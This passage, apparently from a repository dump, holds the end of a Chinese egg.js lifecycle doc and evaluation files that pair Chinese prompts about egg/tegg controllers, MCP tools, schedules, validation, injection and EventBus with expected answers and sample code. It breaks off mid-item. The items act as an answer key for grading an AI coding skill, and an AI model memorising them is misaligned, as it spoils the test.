init(): Promise<void> {\n    this.connection = await createConnection();\n  }\n\n  @LifecycleDestroy()\n  async destroy(): Promise<void> {\n    await this.connection.close();\n  }\n}\n```\n\n**示例 2：ContextProto 在注入完成后初始化状态**\n\n```typescript\nimport { ContextProto, Inject, LifecyclePostInject } from 'egg';\n\n@ContextProto()\nexport class RequestTracer {\n  @Inject()\n  traceService: TraceService;\n\n  traceId: string;\n\n  @LifecyclePostInject()\n  async postInject(): Promise<void> {\n    // 依赖注入完成后，利用注入的服务初始化状态\n    this.traceId = await this.traceService.generateTraceId();\n  }\n}\n```\n"
  },
  {
    "path": "packages/skills/eval/.gitignore",
    "content": "workspace/\negg-workspace/"
  },
  {
    "path": "packages/skills/eval/evals-egg-controller.json",
    "content": "{\n  \"skill_name\": \"egg-controller\",\n  \"description\": \"控制器评测：覆盖 http-controller、mcp-controller、schedule、ajv-validate\",\n  \"evals\": [\n    {\n      \"id\": 1,\n      \"prompt\": \"帮我写一个 POST /api/users 接口，接收 JSON body 创建用户，返回 201\",\n      \"expected_output\": \"@HTTPController + @HTTPMethod POST + @HTTPBody + ctx.status = 201，完整可运行代码\"\n    },\n    {\n      \"id\": 2,\n      \"prompt\": \"帮我实现 GET /api/users/:userId/posts/:postId，获取用户的某篇文章\",\n      \"expected_output\": \"@HTTPParam() userId + @HTTPParam() postId，路径参数定义和获取的完整代码\"\n    },\n    {\n      \"id\": 3,\n      \"prompt\": \"我有个搜索接口 /api/search?tag=tech&tag=dev，需要获取 tag 的全部值\",\n      \"expected_output\": \"使用 @HTTPQueries({ name: 'tag' }) 获取 string[] 数组，不是 @HTTPQuery\"\n    },\n    {\n      \"id\": 4,\n      \"prompt\": \"帮我写个 SSR 页面，GET / 返回完整的 HTML\",\n      \"expected_output\": \"@HTTPController + ctx.type = 'html' + return HTML 字符串\"\n    },\n    {\n      \"id\": 5,\n      \"prompt\": \"帮我实现流式输出，一段一段返回 HTML 内容\",\n      \"expected_output\": \"async generator + Readable.from()，设置 ctx.type，完整代码\"\n    },\n    {\n      \"id\": 6,\n      \"prompt\": \"我有两个路由 /api/:name 和 /api/health，请求 /api/health 匹配到了 :name，帮我看看代码\",\n      \"expected_output\": \"静态路径优先级高于参数路径应该自动匹配，如果冲突可用 priority 参数调整\",\n      \"files\": [\n        {\n          \"path\": \"app/apiModule/ApiController.ts\",\n          \"content\": \"import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';\\n\\n@HTTPController({ path: '/api' })\\nexport class ApiController {\\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/:name' })\\n  async getByName(@HTTPParam() name: string) {\\n    return { name };\\n  }\\n\\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/health' })\\n  async health() {\\n    return { status: 'ok' };\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 7,\n      \"prompt\": \"帮我给这个 Controller 加一个认证中间件的逻辑，从 header 里取 Authorization 做校验\",\n      \"expected_output\": \"使用 @HTTPHeaders() 获取 headers，key 用小写 headers['authorization']\",\n      \"files\": [\n        {\n          \"path\": \"app/apiModule/UserController.ts\",\n          \"content\": \"import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\\n\\n@HTTPController({ path: '/api/users' })\\nexport class UserController {\\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/' })\\n  async list() {\\n    return { users: [] };\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 8,\n      \"prompt\": \"帮我写一个完整的 CRUD 模块：userModule，包含 UserService 和 UserController，支持 GET/POST/PUT/DELETE\",\n      \"expected_output\": \"完整文件结构：package.json + UserService(@SingletonProto + PUBLIC) + UserController(@HTTPController)，四个 HTTP 方法的完整代码\"\n    },\n    {\n      \"id\": 9,\n      \"prompt\": \"基于这个 Service，帮我写一个 HTTPController 暴露查询和创建接口\",\n      \"expected_output\": \"@HTTPController + 两个 @HTTPMethod（GET 用 @HTTPParam，POST 用 @HTTPBody）+ @Inject 注入 ProductService\",\n      \"files\": [\n        {\n          \"path\": \"app/productModule/package.json\",\n          \"content\": \"{\\n  \\\"name\\\": \\\"productModule\\\",\\n  \\\"eggModule\\\": { \\\"name\\\": \\\"productModule\\\" }\\n}\"\n        },\n        {\n          \"path\": \"app/productModule/ProductService.ts\",\n          \"content\": \"import { SingletonProto, AccessLevel } from 'egg';\\n\\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\\nexport class ProductService {\\n  async findById(id: string) {\\n    return { id, name: 'Product ' + id, price: 99 };\\n  }\\n\\n  async create(data: { name: string; price: number }) {\\n    return { id: 'new-id', ...data };\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 10,\n      \"prompt\": \"帮我实现一个 MCP Tool，让 AI 能搜索我们的内部文档\",\n      \"expected_output\": \"@MCPController() + @MCPTool() + @ToolArgsSchema + Service 注入，import 从 @eggjs/tegg，zod 从 @eggjs/tegg/zod\"\n    },\n    {\n      \"id\": 11,\n      \"prompt\": \"MCP Tool 的参数 Schema 写法有问题，帮我看看\",\n      \"expected_output\": \"指出不应该用 z.object() 包装，直接用普通对象 { name: z.string() }\",\n      \"files\": [\n        {\n          \"path\": \"app/docModule/DocMCPController.ts\",\n          \"content\": \"import { MCPController, MCPTool, MCPToolResponse, ToolArgs, ToolArgsSchema, Inject } from '@eggjs/tegg';\\nimport { z } from '@eggjs/tegg/zod';\\n\\nconst SearchSchema = z.object({\\n  keyword: z.string({ description: 'search keyword' }),\\n  limit: z.number().optional(),\\n});\\n\\n@MCPController()\\nexport class DocMCPController {\\n  @MCPTool({ description: 'Search internal docs' })\\n  async search(\\n    @ToolArgsSchema(SearchSchema) args: ToolArgs<typeof SearchSchema>,\\n  ): Promise<MCPToolResponse> {\\n    return { content: [{ type: 'text', text: 'results' }] };\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 12,\n      \"prompt\": \"我的 MCP Tool 要处理一个大数据导出，可能要跑几分钟，怎么给客户端推送进度\",\n      \"expected_output\": \"@Extra() 获取 ToolExtra，用 sendNotification 推送进度，给出完整代码\"\n    },\n    {\n      \"id\": 13,\n      \"prompt\": \"帮我写一个 MCP Resource，让 AI 能读取指定用户的 profile\",\n      \"expected_output\": \"@MCPResource({ template: [...] }) + uri 参数解析，完整代码\"\n    },\n    {\n      \"id\": 14,\n      \"prompt\": \"帮我写个定时任务，每天凌晨 3 点清理过期数据\",\n      \"expected_output\": \"@Schedule<CronParams> + cron: '0 0 3 * * *' + ScheduleType.WORKER，import 从 egg/schedule\"\n    },\n    {\n      \"id\": 15,\n      \"prompt\": \"定时任务放在 app/schedule 目录下不生效，帮我看看\",\n      \"expected_output\": \"指出不能放在 app/schedule 下（和 egg 默认扫描冲突），应放在模块目录中\",\n      \"files\": [\n        {\n          \"path\": \"app/schedule/CleanTask.ts\",\n          \"content\": \"import { Inject, Logger } from 'egg';\\nimport { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';\\n\\n@Schedule<IntervalParams>({\\n  type: ScheduleType.WORKER,\\n  scheduleData: { interval: '1h' },\\n})\\nexport class CleanTask {\\n  @Inject()\\n  private logger: Logger;\\n\\n  async subscribe() {\\n    this.logger.info('cleaning...');\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 16,\n      \"prompt\": \"帮我写一个每 30 秒刷新缓存的定时任务，要求每个 worker 都执行\",\n      \"expected_output\": \"@Schedule<IntervalParams> + interval: '30s' + ScheduleType.ALL\"\n    },\n    {\n      \"id\": 17,\n      \"prompt\": \"基于这个 CacheService，帮我写一个定时任务每 5 分钟刷新一次缓存\",\n      \"expected_output\": \"@Schedule<IntervalParams> + interval: '5m' + @Inject() cacheService，import 从 egg/schedule\",\n      \"files\": [\n        {\n          \"path\": \"app/cacheModule/package.json\",\n          \"content\": \"{\\n  \\\"name\\\": \\\"cacheModule\\\",\\n  \\\"eggModule\\\": { \\\"name\\\": \\\"cacheModule\\\" }\\n}\"\n        },\n        {\n          \"path\": \"app/cacheModule/CacheService.ts\",\n          \"content\": \"import { SingletonProto, AccessLevel } from 'egg';\\n\\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\\nexport class CacheService {\\n  private cache = new Map<string, any>();\\n\\n  async refresh() {\\n    this.cache.clear();\\n    // reload from db\\n  }\\n\\n  get(key: string) {\\n    return this.cache.get(key);\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 18,\n      \"prompt\": \"帮我把这个老的 egg controller 改成 HTTPController 写法\",\n      \"expected_output\": \"用 @HTTPController + @HTTPMethod 重写，参数用装饰器获取，注入 Service 替代 ctx.service\",\n      \"files\": [\n        {\n          \"path\": \"app/controller/user.ts\",\n          \"content\": \"import { Controller } from 'egg';\\n\\nexport default class UserController extends Controller {\\n  async show() {\\n    const { ctx } = this;\\n    const id = ctx.params.id;\\n    const user = await ctx.service.user.find(id);\\n    ctx.body = { success: true, data: user };\\n  }\\n\\n  async create() {\\n    const { ctx } = this;\\n    const body = ctx.request.body;\\n    const user = await ctx.service.user.create(body);\\n    ctx.status = 201;\\n    ctx.body = { success: true, data: user };\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 19,\n      \"prompt\": \"帮我给这个 POST /api/users 接口加上参数校验，name 必填且最多50字符，email 必须是邮箱格式\",\n      \"expected_output\": \"从 egg/ajv 导入 Type/Ajv/Static，定义 TypeBox Schema（name: Type.String + maxLength, email: Type.String + format: email），@Inject() ajv: Ajv，ajv.validate()\",\n      \"files\": [\n        {\n          \"path\": \"app/userModule/UserController.ts\",\n          \"content\": \"import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from 'egg';\\n\\n@HTTPController({ path: '/api/users' })\\nexport class UserController {\\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/' })\\n  async create(@HTTPBody() body: { name: string; email: string }) {\\n    return { id: '1', ...body };\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 20,\n      \"prompt\": \"参数校验跑不起来，帮我看看代码哪里有问题\",\n      \"expected_output\": \"指出三个错误：1. 导入路径应从 egg/ajv 而非 typebox/ajv 2. 不应 new Ajv() 手动创建 3. 应使用 @Inject() 注入全局单例\",\n      \"files\": [\n        {\n          \"path\": \"app/userModule/UserController.ts\",\n          \"content\": \"import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody, Inject } from 'egg';\\nimport { Type, Static } from 'typebox';\\nimport Ajv from 'ajv';\\n\\nconst CreateUserSchema = Type.Object({\\n  name: Type.String({ maxLength: 50 }),\\n  email: Type.String({ format: 'email' }),\\n});\\n\\ntype CreateUserParams = Static<typeof CreateUserSchema>;\\n\\nconst ajv = new Ajv();\\n\\n@HTTPController({ path: '/api/users' })\\nexport class UserController {\\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/' })\\n  async create(@HTTPBody() body: CreateUserParams) {\\n    const valid = ajv.validate(CreateUserSchema, body);\\n    if (!valid) throw new Error('Validation failed');\\n    return { id: '1', ...body };\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 21,\n      \"prompt\": \"帮我写一个注册接口的参数校验，要校验 email 格式、生日要是日期格式、用户ID要是 UUID 格式\",\n      \"expected_output\": \"使用 Type.String({ format: 'email' })、Type.String({ format: 'date' })、Type.String({ format: 'uuid' })，从 egg/ajv 导入\"\n    },\n    {\n      \"id\": 22,\n      \"prompt\": \"用户输入的名字前后经常有空格，怎么在参数校验时自动去掉空格\",\n      \"expected_output\": \"使用 TransformEnum.trim，从 egg/ajv 导入 TransformEnum，Type.String({ transform: [TransformEnum.trim] })\"\n    },\n    {\n      \"id\": 23,\n      \"prompt\": \"有些字段是选填的，比如用户的昵称和个人简介，校验时不传不应该报错\",\n      \"expected_output\": \"使用 Type.Optional() 包装选填字段，如 Type.Optional(Type.String())\"\n    },\n    {\n      \"id\": 24,\n      \"prompt\": \"帮我写一个校验 Schema，要求 tags 字段是一个元组，第一个元素是字符串类型的分类名，第二个元素是数字类型的权重\",\n      \"expected_output\": \"使用 Type.Tuple([Type.String(), Type.Number()])，AI 需要从 TypeBox 文档链接查找 Tuple 用法\"\n    },\n    {\n      \"id\": 25,\n      \"prompt\": \"基于这个 OrderService，帮我写一个创建订单的接口，需要做参数校验：productId 必填字符串，quantity 必填正整数，remark 选填\",\n      \"expected_output\": \"定义 Schema + @Inject() ajv: Ajv + ajv.validate() + @Inject() orderService，完整可运行代码\",\n      \"files\": [\n        {\n          \"path\": \"app/orderModule/package.json\",\n          \"content\": \"{\\n  \\\"name\\\": \\\"orderModule\\\",\\n  \\\"eggModule\\\": { \\\"name\\\": \\\"orderModule\\\" }\\n}\"\n        },\n        {\n          \"path\": \"app/orderModule/OrderService.ts\",\n          \"content\": \"import { SingletonProto, AccessLevel } from 'egg';\\n\\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\\nexport class OrderService {\\n  async create(data: { productId: string; quantity: number; remark?: string }) {\\n    return { orderId: 'order-' + Date.now(), ...data };\\n  }\\n}\"\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "packages/skills/eval/evals-egg-core.json",
    "content": "{\n  \"skill_name\": \"egg-core\",\n  \"description\": \"核心概念评测：覆盖 module、proto、inject、dynamic-inject、background-task、eventbus、aop\",\n  \"evals\": [\n    {\n      \"id\": 1,\n      \"prompt\": \"帮我新建一个 userModule，我是新项目从零开始\",\n      \"expected_output\": \"创建 package.json(eggModule.name)，驼峰命名，放在 app/ 下，给出完整目录结构\"\n    },\n    {\n      \"id\": 2,\n      \"prompt\": \"我们是老的 egg 项目，有大量 app/controller 和 app/service 代码，现在想引入 module 开发新功能，怎么组织目录？\",\n      \"expected_output\": \"保留原有 app/controller、app/service 不动，新增 module 放在 app/module/ 下\"\n    },\n    {\n      \"id\": 3,\n      \"prompt\": \"帮我写一个 module.yml 配置，本地和线上的数据库地址不同，怎么分环境管理\",\n      \"expected_output\": \"创建 module.yml 基础配置 + module.{env}.yml 环境配置，框架自动深度合并\"\n    },\n    {\n      \"id\": 4,\n      \"prompt\": \"我新加了一个模块，启动后发现没被加载，帮我看看什么问题\",\n      \"expected_output\": \"指出 eggModule.name 包含 - 不合法，应使用驼峰命名\",\n      \"files\": [\n        {\n          \"path\": \"app/user-module/package.json\",\n          \"content\": \"{\\n  \\\"name\\\": \\\"user-module\\\",\\n  \\\"eggModule\\\": {\\n    \\\"name\\\": \\\"user-module\\\"\\n  }\\n}\"\n        },\n        {\n          \"path\": \"app/user-module/UserService.ts\",\n          \"content\": \"import { SingletonProto } from 'egg';\\n\\n@SingletonProto()\\nexport class UserService {\\n  async getUser() { return 'hello'; }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 5,\n      \"prompt\": \"帮我写一个 UserService，查询用户信息，需要被其他模块调用\",\n      \"expected_output\": \"使用 @SingletonProto({ accessLevel: AccessLevel.PUBLIC })，包含完整代码\"\n    },\n    {\n      \"id\": 6,\n      \"prompt\": \"帮我实现一个请求级别的 TraceContext，存 traceId 和 userId，多个 Service 之间共享\",\n      \"expected_output\": \"使用 @ContextProto()，每个请求独立实例，其他 Service 通过 @Inject 共享同一个实例\"\n    },\n    {\n      \"id\": 7,\n      \"prompt\": \"我的 SingletonProto 需要在启动时连接 Redis，连接成功后才能对外提供服务，怎么写？\",\n      \"expected_output\": \"使用 @LifecycleInit() 做异步初始化，@LifecycleDestroy() 关闭连接，给出完整代码\"\n    },\n    {\n      \"id\": 8,\n      \"prompt\": \"SingletonProto 能注入 ContextProto 吗？我需要在单例服务里获取当前请求的用户信息\",\n      \"expected_output\": \"可以注入，框架通过 lazy getter/Proxy 自动处理，每次访问从当前请求上下文动态解析\"\n    },\n    {\n      \"id\": 9,\n      \"prompt\": \"启动报错 EggPrototypeNotFound，帮我看看代码哪里有问题\",\n      \"expected_output\": \"指出 OrderService 跨模块注入了 UserService 但 UserService 的 accessLevel 是 PRIVATE，应改为 PUBLIC\",\n      \"files\": [\n        {\n          \"path\": \"app/userModule/package.json\",\n          \"content\": \"{\\n  \\\"name\\\": \\\"userModule\\\",\\n  \\\"eggModule\\\": { \\\"name\\\": \\\"userModule\\\" }\\n}\"\n        },\n        {\n          \"path\": \"app/userModule/UserService.ts\",\n          \"content\": \"import { SingletonProto } from 'egg';\\n\\n@SingletonProto()\\nexport class UserService {\\n  async findUser(id: string) {\\n    return { id, name: 'test' };\\n  }\\n}\"\n        },\n        {\n          \"path\": \"app/orderModule/package.json\",\n          \"content\": \"{\\n  \\\"name\\\": \\\"orderModule\\\",\\n  \\\"eggModule\\\": { \\\"name\\\": \\\"orderModule\\\" }\\n}\"\n        },\n        {\n          \"path\": \"app/orderModule/OrderService.ts\",\n          \"content\": \"import { SingletonProto, Inject } from 'egg';\\nimport { UserService } from '../userModule/UserService.ts';\\n\\n@SingletonProto()\\nexport class OrderService {\\n  @Inject()\\n  userService: UserService;\\n\\n  async createOrder(userId: string) {\\n    const user = await this.userService.findUser(userId);\\n    return { orderId: '1', user };\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 10,\n      \"prompt\": \"注入的对象不对，我期望注入 FooService 但拿到的不是，帮我看看\",\n      \"expected_output\": \"指出 IFooService 是 interface 无运行时元信息，回退到属性名 fooHelper 匹配，应改用 class 类型或 @Inject({ name: 'fooService' })\",\n      \"files\": [\n        {\n          \"path\": \"app/bizModule/FooService.ts\",\n          \"content\": \"import { SingletonProto } from 'egg';\\n\\nexport interface IFooService {\\n  doWork(): Promise<string>;\\n}\\n\\n@SingletonProto()\\nexport class FooService implements IFooService {\\n  async doWork() { return 'done'; }\\n}\"\n        },\n        {\n          \"path\": \"app/bizModule/BarService.ts\",\n          \"content\": \"import { SingletonProto, Inject } from 'egg';\\nimport type { IFooService } from './FooService.ts';\\n\\n@SingletonProto()\\nexport class BarService {\\n  @Inject()\\n  fooHelper: IFooService;  // 期望注入 FooService\\n\\n  async run() {\\n    return this.fooHelper.doWork();\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 11,\n      \"prompt\": \"帮我写注入 config 和 logger 的代码，还要注入自定义的 bizLogger\",\n      \"expected_output\": \"@Inject() config: EggAppConfig + @Inject() logger: Logger + @Inject() bizLogger: Logger，给出完整代码\"\n    },\n    {\n      \"id\": 12,\n      \"prompt\": \"帮我把这个老的 egg Service 改成 module 写法\",\n      \"expected_output\": \"用 @SingletonProto 重写，@Inject() 注入依赖替代 this.ctx/this.app，去掉 extends Service\",\n      \"files\": [\n        {\n          \"path\": \"app/service/OrderService.ts\",\n          \"content\": \"import { Service } from 'egg';\\n\\nexport default class OrderService extends Service {\\n  async create(data: any) {\\n    const user = await this.ctx.service.user.find(data.userId);\\n    this.ctx.logger.info('creating order for %s', user.name);\\n    const result = await this.app.httpclient.request('https://api.example.com/orders', {\\n      method: 'POST',\\n      data,\\n    });\\n    return result.data;\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 13,\n      \"prompt\": \"启动报错说注入方式冲突了，帮我看看\",\n      \"expected_output\": \"指出构造函数注入和属性注入混用了，不能混用，需改为统一使用一种方式\",\n      \"files\": [\n        {\n          \"path\": \"app/bizModule/MixedService.ts\",\n          \"content\": \"import { SingletonProto, Inject } from 'egg';\\n\\n@SingletonProto()\\nexport class MixedService {\\n  @Inject()\\n  logger: Logger;\\n\\n  constructor(\\n    @Inject() readonly config: EggAppConfig,\\n  ) {}\\n\\n  async run() {\\n    this.logger.info('config: %j', this.config);\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 14,\n      \"prompt\": \"有个依赖在某些环境不一定存在，注入时不想让应用挂掉\",\n      \"expected_output\": \"使用 @Inject({ optional: true }) 或 @InjectOptional()，不存在时为 undefined\"\n    },\n    {\n      \"id\": 15,\n      \"prompt\": \"两个模块都有 DataService，注入时报冲突了，帮我看看怎么改\",\n      \"expected_output\": \"使用 @ModuleQualifier('moduleName') 指定从哪个模块注入\",\n      \"files\": [\n        {\n          \"path\": \"app/cacheModule/DataService.ts\",\n          \"content\": \"import { SingletonProto, AccessLevel } from 'egg';\\n\\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\\nexport class DataService {\\n  async get(key: string) { return 'from cache'; }\\n}\"\n        },\n        {\n          \"path\": \"app/dbModule/DataService.ts\",\n          \"content\": \"import { SingletonProto, AccessLevel } from 'egg';\\n\\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\\nexport class DataService {\\n  async get(key: string) { return 'from db'; }\\n}\"\n        },\n        {\n          \"path\": \"app/bizModule/BizService.ts\",\n          \"content\": \"import { SingletonProto, Inject } from 'egg';\\n\\n@SingletonProto()\\nexport class BizService {\\n  @Inject()\\n  dataService: DataService;  // 报冲突\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 16,\n      \"prompt\": \"帮我实现策略模式，有邮件、短信、钉钉三种通知方式，运行时根据配置选择\",\n      \"expected_output\": \"使用动态注入：抽象类 AbstractNotifier + 枚举 + QualifierImplDecoratorUtil 装饰器 + EggObjectFactory.getEggObject()，给出所有文件完整代码\"\n    },\n    {\n      \"id\": 17,\n      \"prompt\": \"动态注入不生效，getEggObject 报找不到实现，帮我看看代码\",\n      \"expected_output\": \"指出 EmailNotifier 缺少 @SingletonProto() 装饰器，实现类必须同时有 Proto 装饰器和自定义装饰器\",\n      \"files\": [\n        {\n          \"path\": \"app/notifyModule/AbstractNotifier.ts\",\n          \"content\": \"export abstract class AbstractNotifier {\\n  abstract send(msg: string): Promise<void>;\\n}\"\n        },\n        {\n          \"path\": \"app/notifyModule/NotifyType.ts\",\n          \"content\": \"export enum NotifyType {\\n  EMAIL = 'EMAIL',\\n  SMS = 'SMS',\\n}\"\n        },\n        {\n          \"path\": \"app/notifyModule/decorator/Notify.ts\",\n          \"content\": \"import { ImplDecorator, QualifierImplDecoratorUtil } from 'egg';\\nimport { NotifyType } from '../NotifyType.ts';\\nimport { AbstractNotifier } from '../AbstractNotifier.ts';\\n\\nexport const NOTIFY_ATTRIBUTE = Symbol('NOTIFY_ATTRIBUTE');\\n\\nexport const Notify: ImplDecorator<AbstractNotifier, typeof NotifyType> =\\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractNotifier, NOTIFY_ATTRIBUTE);\"\n        },\n        {\n          \"path\": \"app/notifyModule/impl/EmailNotifier.ts\",\n          \"content\": \"import { Notify } from '../decorator/Notify.ts';\\nimport { NotifyType } from '../NotifyType.ts';\\nimport { AbstractNotifier } from '../AbstractNotifier.ts';\\n\\n@Notify(NotifyType.EMAIL)\\nexport class EmailNotifier extends AbstractNotifier {\\n  async send(msg: string) {\\n    console.log('send email:', msg);\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 18,\n      \"prompt\": \"我想读取另一个模块的 moduleConfig，不是当前模块的\",\n      \"expected_output\": \"使用 @ConfigSourceQualifier('otherModule')，给出完整代码\"\n    },\n    {\n      \"id\": 19,\n      \"prompt\": \"请求返回后还要做一些事情，比如记日志、发通知，怎么实现\",\n      \"expected_output\": \"使用 BackgroundTaskHelper，@Inject() 注入，调用 run() 方法，从 egg 导入\"\n    },\n    {\n      \"id\": 20,\n      \"prompt\": \"用 BackgroundTaskHelper 在请求返回后异步上报埋点数据，帮我写个 MetricsService\",\n      \"expected_output\": \"@SingletonProto + @Inject() backgroundTaskHelper: BackgroundTaskHelper + run(async () => { ... })，从 egg 导入\"\n    },\n    {\n      \"id\": 21,\n      \"prompt\": \"用了 setTimeout 做后台任务，偶尔报错，帮我看看什么问题\",\n      \"expected_output\": \"指出 setTimeout 执行时上下文已释放，应改用 BackgroundTaskHelper.run()\",\n      \"files\": [\n        {\n          \"path\": \"app/orderModule/OrderService.ts\",\n          \"content\": \"import { SingletonProto, AccessLevel, Inject } from 'egg';\\n\\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\\nexport class OrderService {\\n  @Inject()\\n  private logger: any;\\n\\n  async createOrder(data: any) {\\n    const order = { id: Date.now(), ...data };\\n    // 请求返回后异步记录日志\\n    setTimeout(async () => {\\n      this.logger.info('Order created:', order.id);\\n      await this.sendNotification(order);\\n    }, 0);\\n    return order;\\n  }\\n\\n  private async sendNotification(order: any) {\\n    // 发送通知\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 22,\n      \"prompt\": \"后台任务默认超时是多少？我有个任务比较慢，怎么改成更长的时间\",\n      \"expected_output\": \"默认 5 秒，可通过 backgroundTaskHelper.timeout 按请求设置，或在 config.default.ts 中 backgroundTask.timeout 全局配置\"\n    },\n    {\n      \"id\": 23,\n      \"prompt\": \"帮我写一个订单创建接口，创建成功后异步发送通知邮件，不影响接口响应速度\",\n      \"expected_output\": \"OrderService 中 @Inject() backgroundTaskHelper，在 createOrder 方法中调用 run() 异步发送邮件\"\n    },\n    {\n      \"id\": 24,\n      \"prompt\": \"帮我把这个用 setTimeout 的后台逻辑改成正确的写法\",\n      \"expected_output\": \"将 setTimeout 替换为 backgroundTaskHelper.run()，注入 BackgroundTaskHelper\",\n      \"files\": [\n        {\n          \"path\": \"app/cacheModule/CacheService.ts\",\n          \"content\": \"import { SingletonProto, AccessLevel, Inject } from 'egg';\\n\\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\\nexport class CacheService {\\n  @Inject()\\n  private redisService: any;\\n\\n  async getData(key: string) {\\n    const data = await this.redisService.get(key);\\n    if (!data) {\\n      const fresh = await this.fetchFromDB(key);\\n      // 异步回写缓存，不阻塞响应\\n      setTimeout(async () => {\\n        await this.redisService.set(key, fresh, 3600);\\n      }, 0);\\n      return fresh;\\n    }\\n    return data;\\n  }\\n\\n  private async fetchFromDB(key: string) {\\n    return { key, value: 'from-db' };\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 25,\n      \"prompt\": \"后台任务里抛了异常，但接口没报错也没看到日志，怎么回事\",\n      \"expected_output\": \"BackgroundTaskHelper 内部捕获所有异常并通过 logger.error 记录，日志前缀为 [BackgroundTaskHelper]，检查日志配置是否正确\",\n      \"files\": [\n        {\n          \"path\": \"app/reportModule/ReportService.ts\",\n          \"content\": \"import { SingletonProto, AccessLevel, Inject, BackgroundTaskHelper } from 'egg';\\n\\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\\nexport class ReportService {\\n  @Inject()\\n  private backgroundTaskHelper: BackgroundTaskHelper;\\n\\n  async generateReport(data: any) {\\n    this.backgroundTaskHelper.run(async () => {\\n      // 这里可能会抛异常\\n      const result = await this.callExternalAPI(data);\\n      await this.saveReport(result);\\n    });\\n    return { status: 'processing' };\\n  }\\n\\n  private async callExternalAPI(data: any) {\\n    throw new Error('API timeout');\\n  }\\n\\n  private async saveReport(result: any) {}\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 26,\n      \"prompt\": \"我有个后台任务可能要跑 30 秒，怎么配置超时不被框架提前中断\",\n      \"expected_output\": \"设置 backgroundTaskHelper.timeout = 30000 或全局 config backgroundTask.timeout: 30000\"\n    },\n    {\n      \"id\": 27,\n      \"prompt\": \"订单创建后要发通知、记日志、更新统计，但不想耦合在一起，怎么做\",\n      \"expected_output\": \"使用 EventBus 解耦：声明 Events 接口 + emit 触发事件 + 多个 @Event handler 分别处理通知、日志、统计\"\n    },\n    {\n      \"id\": 28,\n      \"prompt\": \"用 EventBus 实现订单事件，要求类型安全，帮我写 Events 声明和 handler\",\n      \"expected_output\": \"declare module 'egg' { interface Events { ... } } + @Event handler + 从 egg 导入 EventBus/Event，事件声明文件开头有 import 'egg'\"\n    },\n    {\n      \"id\": 29,\n      \"prompt\": \"EventBus 和 BackgroundTaskHelper 什么区别，我该用哪个\",\n      \"expected_output\": \"对比耦合度（强耦合 vs 解耦）、上下文（共享 vs 独立）、扩展性（改触发者 vs 加 handler），给出选型建议\"\n    },\n    {\n      \"id\": 30,\n      \"prompt\": \"EventBus 的 handler 没有被触发，帮我看看\",\n      \"expected_output\": \"指出 handler 文件不在 module 目录中，框架无法扫描到，应移到模块目录下\",\n      \"files\": [\n        {\n          \"path\": \"app/orderModule/package.json\",\n          \"content\": \"{\\n  \\\"name\\\": \\\"orderModule\\\",\\n  \\\"eggModule\\\": { \\\"name\\\": \\\"orderModule\\\" }\\n}\"\n        },\n        {\n          \"path\": \"app/orderModule/OrderService.ts\",\n          \"content\": \"import { SingletonProto, Inject, EventBus } from 'egg';\\n\\n@SingletonProto()\\nexport class OrderService {\\n  @Inject()\\n  private eventBus: EventBus;\\n\\n  async createOrder(userId: string) {\\n    this.eventBus.emit('orderCreated', '123', userId);\\n    return { orderId: '123' };\\n  }\\n}\"\n        },\n        {\n          \"path\": \"app/handler/OrderNotificationHandler.ts\",\n          \"content\": \"import { Event } from 'egg';\\n\\n@Event('orderCreated')\\nexport class OrderNotificationHandler {\\n  async handle(orderId: string, userId: string): Promise<void> {\\n    console.log('notify:', orderId, userId);\\n  }\\n}\"\n        }\n      ]\n    },\n    {\n      \"id\": 31,\n      \"prompt\": \"帮我用 EventBus 实现用户注册后异步发送欢迎邮件\",\n      \"expected_output\": \"完整代码：Events 类型声明（import 'egg' + declare module）+ 注册 Service 中 emit + @Event handler 发送邮件\"\n    },\n    {\n      \"id\": 32,\n      \"prompt\": \"帮我把这个 BackgroundTaskHelper 的写法改成 EventBus 解耦\",\n      \"expected_output\": \"拆分为 EventBus.emit() + 独立 @Event handler 类，去掉 BackgroundTaskHelper\",\n      \"files\": [\n        {\n          \"path\": \"app/orderModule/OrderService.ts\",\n          \"content\": \"import { SingletonProto, AccessLevel, Inject, BackgroundTaskHelper } from 'egg';\\n\\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\\nexport class OrderService {\\n  @Inject()\\n  private 